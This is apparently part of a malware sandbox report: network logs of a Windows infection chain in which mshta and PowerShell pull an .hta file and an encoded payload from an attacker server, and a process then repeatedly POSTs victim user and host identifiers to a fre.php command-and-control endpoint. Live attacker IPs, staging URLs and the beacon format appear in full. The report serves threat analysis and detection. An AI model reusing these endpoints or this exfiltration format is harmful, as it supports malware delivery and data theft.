Oct 24, 2024 08:45:34.428138018 CEST	212	IN	Data Raw: 00 20 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45 00 52 00 54 00 29 00 2c 00 20 00 22 Data Ascii: not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
Oct 24, 2024 08:45:34.428152084 CEST	1236	IN	Data Raw: 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 61 00 70 00 6f 00 75 00 63 00 61 00 64 00 6f 00 46 00 6c 00 61 00 67 00 73 00 20 00 3d 00 20 00 61 00 70 00 6f 00 75 00 63 00 61 00 64 Data Ascii: apoucadoFlags = apoucadoFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
Oct 24, 2024 08:45:34.428169966 CEST	1236	IN	Data Raw: 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 6e 00 65 00 67 00 6f 00 74 00 69 00 61 00 74 00 65 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 Data Ascii: ot valid for '-auth:negotiate'" apoucadoFlags = apoucadoFlags OR wsman.SessionFlagUseNegotiate
Oct 24, 2024 08:45:34.433525085 CEST	1236	IN	Data Raw: 00 5f 00 50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d Data Ascii: _PASSWORD & "' option is not valid for '-auth:certificate'" apoucadoFlags = apoucadoFlags OR wsman.Sessi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49174	192.3.176.141	80	2600	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:45:46.018553019 CEST	487	OUT	GET /36/bv/seethebestthingstobegoodwithhislifebestthigns.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Thu, 24 Oct 2024 00:44:54 GMT Connection: Keep-Alive Host: 192.3.176.141 If-None-Match: "20a04-6252e4f9e216e"
Oct 24, 2024 08:45:46.719068050 CEST	275	IN	HTTP/1.1 304 Not Modified Date: Thu, 24 Oct 2024 06:45:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:44:54 GMT ETag: "20a04-6252e4f9e216e" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49177	192.3.176.141	80	4000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:03.232137918 CEST	81	OUT	GET /36/LOGS%20LOKI.txt HTTP/1.1 Host: 192.3.176.141 Connection: Keep-Alive
Oct 24, 2024 08:46:03.924801111 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:46:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 24 Oct 2024 00:22:01 GMT ETag: "22aac-6252dfdc859ae" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924824953 CEST	224	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924844027 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924851894 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924861908 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924875975 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.924881935 CEST	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.925067902 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.925122976 CEST	212	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.925159931 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 24, 2024 08:46:03.930320978 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49178	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:07.495675087 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 176 Connection: close
Oct 24, 2024 08:46:07.501003027 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus040965ALBUS-PCk0DE4229FCF97F5879F50F8FD31bcqt
Oct 24, 2024 08:46:08.436815977 CEST	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49179	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:08.597771883 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 176 Connection: close
Oct 24, 2024 08:46:08.603128910 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus040965ALBUS-PC+0DE4229FCF97F5879F50F8FD3tcetK
Oct 24, 2024 08:46:09.532896042 CEST	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49180	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:09.648638010 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:09.653986931 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:10.615833044 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49181	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:10.788578987 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:10.793925047 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:11.760720015 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49182	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:11.956769943 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:11.962080002 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:12.938143969 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49183	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:13.258053064 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:13.263396025 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:14.212583065 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49184	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:14.524611950 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:14.530065060 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:15.608517885 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49185	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:15.792145967 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:15.797609091 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:17.050389051 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49186	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:17.249245882 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:17.256131887 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:18.216243029 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49187	192.3.176.141	80	3560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:17.647430897 CEST	81	OUT	GET /36/LOGS%20LOKI.txt HTTP/1.1 Host: 192.3.176.141 Connection: Keep-Alive
